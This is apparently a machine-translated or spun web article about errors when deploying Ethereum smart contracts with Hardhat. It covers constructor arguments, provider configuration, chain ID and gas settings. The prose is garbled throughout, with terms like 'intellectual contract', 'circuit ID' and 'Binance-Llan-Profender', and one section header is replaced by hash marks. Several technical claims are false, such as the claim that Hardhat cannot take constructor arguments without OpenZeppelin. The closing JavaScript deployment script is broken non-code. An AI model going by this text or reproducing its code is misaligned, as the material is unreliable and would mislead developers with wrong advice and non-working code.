Errors Prevention in Implementing Ethereum Agreement
When installing an intellectual contract, Ethereum Blockchain using Hardhat, it is very important to anticipate and prevent the power that may occur. In this article, we will examine the usual problems and give tips on how to soften them.
1. Error: expected 0 builders’ arguments, received 1
This error usually occurs when you try to implement a contract without arguments or parameters, as the builders call (“new contract (…)”) when the class “contract” requires more than one argument (for example, “contract (name, address”) )).
Why happens: Hardhat does not accept the transfer of arguments directly to the "new contract (...)". Instead, you should use a library like@Openzeplin/contract.
2. Providerror: Creation of a contract without data provided
This error occurs when your contract requires the transfer of data as an argument or has been implemented without initial conditions.
Why is the case: Hardhat does not offer the configuration of the required contracts such as @openzeppelin/ Contract Center, or Openzeppelin/ Safety. To correct this, make sure you use a library that provides the required configuration and installation flow.
3. Incorrect Supplier Configuration
Incorrect configurations of suppliers can cause errors in the implementation of contracts at local level (Hardhat).
Why is the case: Hardhat is based on specific suppliers such as Trufe or Binance-Llan-Profender. Make sure you use a compatible supplier and configure it if necessary according to the library documentation.
#######.
Lacking or incorrect circuit ID can cause errors in the implementation of contracts at local level (Hardhat).
Why happens: Hardhat each installation requires specific circuit ID. Make sure you use the correct circuit ID as indicated in the Hardhat Configuration File.
5. Inadequate or incorrect gas parameters
Insufficient or incorrect gas parameters can cause errors in the implementation of contracts at local level (Hardhat).
Why happens: Gas parameters are very important for optimizing the performance of the contract. Make sure you use the correct gas parameters as stated in the library documentation.
Subtracting strategies:
1
- Use compatible suppliers
: Choose a compatible supplier for the needs of your contract.
- Check circuit ID : Make sure you use the correct circuit ID in your Hardhat Configuration File.
- Optimize gas settings : Adjust gas parameters according to library documentation and orientation.
code, for example,
Here is an example of how the Imploy.js scenario could be modified to make mistakes:
`Javascript
Const {network, ether} = requires (Hardhat);
// Define both contract and address
CONST {ImplOYCONTRACT} = requires (“ether”);
CONST BIGHT = […];
Consists of address = […];
Async imopoy () feature {
Try {
// Use a library like @Openzeplin/Contract Implement for More Complex Installation
ImplemedContract = ImplyContract anticipation (both, address);
Console.log (Contract implemented: $ {installing.address});
return to installContract;
} Catch (error) {
console.error (error);
Throw error;
}
}
// Call the function
means (). Then ((contract) => {
// Use copies of the contract for other operations
});
“
By execution of these guidelines and using compatible suppliers, you can reduce the likelihood of errors in the implementation of Ethereum.
